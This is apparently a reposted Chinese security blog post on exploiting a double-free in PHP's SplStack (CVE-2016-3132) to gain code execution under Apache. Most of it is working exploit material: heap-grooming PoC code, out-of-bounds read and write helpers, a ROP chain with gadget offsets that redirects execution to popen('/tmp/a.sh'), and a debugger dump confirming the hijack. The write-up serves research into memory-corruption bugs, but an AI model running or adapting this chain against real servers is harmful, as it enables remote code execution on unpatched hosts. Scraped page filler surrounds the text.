<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/16036

            0x00 簡介


            之前有外國牛人發部blog Double Free in Standard PHP Library Double Link List [CVE-2016-3132]

            其文章詳述了漏洞成因

            #!php
            <?php
            $var_1=new SplStack();
            $var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed
            

            SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )失敗的話,對象就會被free兩次。略過細節,這種漏洞想繼續利用,必須要翻看php源碼對于heap的管理套路了。

            p1

            所需要知道的是,問題對象SplFixedArray的尺寸讓它存在于php自己維護的一個freelist里面。如果一塊內存的引用計數消耗光,php簡單地把freelist的next指針指向這塊內存,這樣就結束了。如果發生了double free,php里面的freelist會變成這樣:

            p2

            就是說當下兩次內存申請的時候,兩個對象就會重疊

            p3

            可以上套路了,重疊字符串類型,修改長度,越界讀寫。

            #!cpp
            typedef struct _spl_fixedarray_object { /* {{{ */    struct _zend_string {
                spl_fixedarray        *array;                        zend_refcounted_h gc;
                zend_function         *fptr_offset_get;              zend_ulong        h; /* hash value */
                zend_function         *fptr_offset_set;              size_t            len;
                zend_function         *fptr_offset_has;              char              val[1];
                zend_function         *fptr_offset_del;              };
                zend_function         *fptr_count;
                int                    current;
                int                    flags;
                zend_class_entry      *ce_get_iterator;
                zend_object            std;
            } spl_fixedarray_object;
            /* }}} */
            

            當然,精心的內存布局還是需要的,比如連續申請大量內存什么的,保證要操作的區域干凈、連續

            p4

            最后理想的情況就是這樣啦,被改掉長度的字符串后面是整齊排列的SplFixedArray

            能做的事情有:

            1. 越界讀后面堆塊指針,獲取其真實地址,和與數組游標的對應關系
            2. 越界寫后面對象的函數指針,指向前面獲取的地址,即數組的地址

            向數組填入內容,這樣劫持了$rip

            文章寫到這里就結束了,poc給到0xdeadbeef

            #!php
            function exception_handler($exception) {
            global $z;
            $s=str_repeat('C',0x48);
            $t=new SplFixedArray2(5);
            $t[0]='Z';
            
            unset($z[22]);
            unset($z[21]);
            
            $heap_addr=read_ptr($s,0x58);
            print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; 
            $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;
            print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
            //Set Handlers
            write_ptr($s,$heap_addr_of_fake_handler,0x40);
            //Set fake handler
            
            write_ptr($s,0x40,0x300); //handler.offset
            write_ptr($s,0x4141414141414141,0x308); //handler.free_obj
            write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj
            str_repeat('z',5);
            unset($t);  //BOOM!
            }
            

            0x01 實際測試


            演示只是演示,沒實際意義,在真實的生產環境中,這個洞有沒有可能成功利用呢

            在此,[email protected],真的非常好用!

            在apache里面php是和libc一樣被當做.so來加載的,所以全套保護都上齊全了

            不要慌,我們還有更深的套路

            p5

            剛才那個長度超長的數組對象,除了可以越界讀堆塊的地址,還可以越界讀對象的函數指針列表地址

            這個地址在同一個bin文件里的地址是相對固定的,地址隨機化就這么過掉了。

            #!php
            $push_rax=0x000000000033a9f3+$aslr_offset;// push rax; stc; jmp qword ptr [rax + 0x36];
            $pop_rsp=0x00000000000d3923+$aslr_offset;//pop rsp; pop r13; ret;
            $sub_rsp=0x0000000000106abe+$aslr_offset;// sub rsp, -0x80; pop rbx; ret;
            $pop_rsi=0x00000000000094e8+$aslr_offset;// pop rsi; ret;
            $pop_rdi=0x00000000000d3b2f+$aslr_offset;// pop rdi; ret;
            $pop_rbp=0x00000000000d3925+$aslr_offset;// pop rbp; ret;
            $p_popen=0x00000000000d2580+$aslr_offset;//popen
            
            //Set Handlers
            write_ptr($s,$heap_addr_of_fake_handler,0x40);
            //Set fake handler
            
            write_ptr($s,$aslr_offset,0x300);
            //heap_addr_of_fake_handler and [rax] is here!
            
            write_ptr($s,0x4141414141414141,0x300+0x48);
            write_ptr($s,0x0000000000000072,0x300+0x50);//"r"
            write_ptr($s,0x732e612f706d742f,0x300+0x58);//"/tmp/a.sh"
            write_ptr($s,0x0000000000000068,0x300+0x60);
            
            write_ptr($s,$push_rax,0x300+0x10);
            write_ptr($s,$pop_rsp,0x300+0x36);
            write_ptr($s,$sub_rsp,0x300+0x8);
            //now,rsp=rax+0x98
            write_ptr($s,$pop_rsp,0x300+0x98);
            write_ptr($s,$heap_addr_of_fake_handler-0x100,0x300+0xa0);
            //now,rsp=rax-0xf0
            
            write_ptr($s,$pop_rsi,0x300-0xf8);
            write_ptr($s,$heap_addr_of_fake_handler+0x50,0x300-0xf0);
            write_ptr($s,$pop_rdi,0x300-0xe8);
            write_ptr($s,$heap_addr_of_fake_handler+0x58,0x300-0xe0);
            write_ptr($s,$pop_rbp,0x300-0xd8);
            write_ptr($s,$heap_addr_of_fake_handler-0xb8,0x300-0xd0);
            //now rsp=rax-0xc0,rbp=rax-0xb8
            
            write_ptr($s,$p_popen,0x300-0xc8);
            

            很亂的rop里該有的都有了,包括把棧幀指向剛才操作好的內存堆,方便行事。

            #!bash
            [----------------------------------registers-----------------------------------]
            RAX: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457f
            RBX: 0x0
            RCX: 0x16
            RDX: 0xc4f352ef5bf0be4a
            RSI: 0x7fc6edc6ec28 --> 0x72 ('r')
            RDI: 0x7fc6edc6ec30 ("/tmp/a.sh")
            RBP: 0x7fc6edc6eb20 --> 0x0
            RSP: 0x7fc6edc6eb18 --> 0x0
            RIP: 0x7fc6f52fa540 (<_IO_new_popen>:   push   r12)
            R8 : 0x20 (' ')
            R9 : 0x0
            R10: 0x2
            R11: 0x38 ('8')
            R12: 0x7fc6f2798c1c --> 0x0
            R13: 0x7fc6f27ae8c0 --> 0x40 ('@')
            R14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push   r12)
            R15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push   r12)
            EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
            [-------------------------------------code-------------------------------------]
               0x7fc6f52fa530 <_IO_new_proc_open+848>:  jmp    0x7fc6f52fa4da <_IO_new_proc_open+762>
               0x7fc6f52fa532:  nop    DWORD PTR [rax+0x0]
               0x7fc6f52fa536:  nop    WORD PTR cs:[rax+rax*1+0x0]
            => 0x7fc6f52fa540 <_IO_new_popen>:  push   r12
               0x7fc6f52fa542 <_IO_new_popen+2>:    push   rbp
               0x7fc6f52fa543 <_IO_new_popen+3>:    mov    rbp,rdi
               0x7fc6f52fa546 <_IO_new_popen+6>:    push   rbx
               0x7fc6f52fa547 <_IO_new_popen+7>:    mov    edi,0x100
            [------------------------------------stack-------------------------------------]
            0000| 0x7fc6edc6eb18 --> 0x0
            0008| 0x7fc6edc6eb20 --> 0x0
            0016| 0x7fc6edc6eb28 --> 0x0
            0024| 0x7fc6edc6eb30 --> 0xc01a000800000001
            0032| 0x7fc6edc6eb38 --> 0x1b
            0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x1
            0048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40 ('@')
            0056| 0x7fc6edc6eb50 --> 0x0
            [------------------------------------------------------------------------------]
            Legend: code, data, rodata, value
            
            Thread 2.1 "apache2" hit Breakpoint 1, _IO_new_popen (command=0x7fc6edc6ec30 "/tmp/a.sh", mode=0x7fc6edc6ec28 "r") at iopopen.c:273
            

            別忘了$rsp和$rbp都需要設置好,不然popen不會執行成功的。

            最后,有兩點要說明一下:

            原文poc提供的read_ptr有問題,讀地址的時候會中間丟掉0

            感謝phithon與畢月烏大牛提供正確版本的函數

            #!php
            function read_ptr(&$mystring,$index=0,$little_endian=1){
                $s = "";
                for($i = 1; $i <= 8; $i++) {
                    $s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', STR_PAD_LEFT);
                }
                return hexdec($s);
            }
            

            另外就是,采用popen這個函數來完成最后的shellcode動作,是因為這個函數在libphp.so的plt里面提供了地址。如果要用system的話,還要到libc里面去找,多算一個模塊的地址,就多了一份麻煩和不穩定。

            p6

            盡管本文成功繞過所有保護成功執行shellcode,但是實際意義依然有限,因為phplib.so的版本太多啦,很多情況下都是自家編譯出來的,不同的so文件function table的相對位置會不一樣,這樣計算的基質會出錯,當然構造的rop也全都錯了。

            php版本多,glibc版本少啊,用glibc做rop啊!用glibc找system函數啊!

            p7

            除非上面那個被改了長度的數組可以越界讀到一個glibc里面的地址,否則怎樣都還是需要依靠libphp.so的。

            以上です。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线